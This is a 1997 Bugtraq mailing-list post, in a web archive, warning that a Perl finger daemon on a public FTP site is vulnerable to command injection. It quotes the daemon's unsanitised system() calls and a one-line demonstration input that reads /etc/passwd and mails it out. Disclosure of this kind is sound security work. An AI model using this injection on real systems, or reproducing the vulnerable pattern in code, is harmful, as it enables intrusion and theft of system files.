[5066] in bugtraq

home help back first fref pref prev next nref lref last post

perl fingerd stupidity

daemon@ATHENA.MIT.EDU (Chris Terry)
Thu Jul 31 17:17:17 1997

Date: 	Thu, 31 Jul 1997 14:34:43 -0500
Reply-To: Chris Terry <chris@VIPER.NET>
From: Chris Terry <chris@VIPER.NET>
To: BUGTRAQ@NETSPACE.ORG

Watch out for the perl fingerd currently posted at
ftp://sunsite.unc.edu/pub/Linux/network/finger/daemons

#!/usr/bin/perl
# fingerd - a simple finger daemon
$user = <STDIN>;
chop($user);
chop($user);
if(-e "/usr/lib/finger/$user"){
    system "/usr/bin/perl /usr/lib/finger/$user";
} else {
    system "/usr/bin/perl /usr/lib/finger/default $user";
}


[root@batleh perl-finger]# ./fingerd
|cat /etc/passwd|mail chris@viper.net

and many others....



-----------------------------------------------------------
CGI Joe - n.   A hard-core CGI script programmer with all the
               social skills and charisma of a plastic action
               figure. See "Chris Terry"
Chris Terry - n.  ITC^DeltaCom Web/CGI guy  chris@viper.net
        In a world without fences, who needs Gates??

home help back first fref pref prev next nref lref last post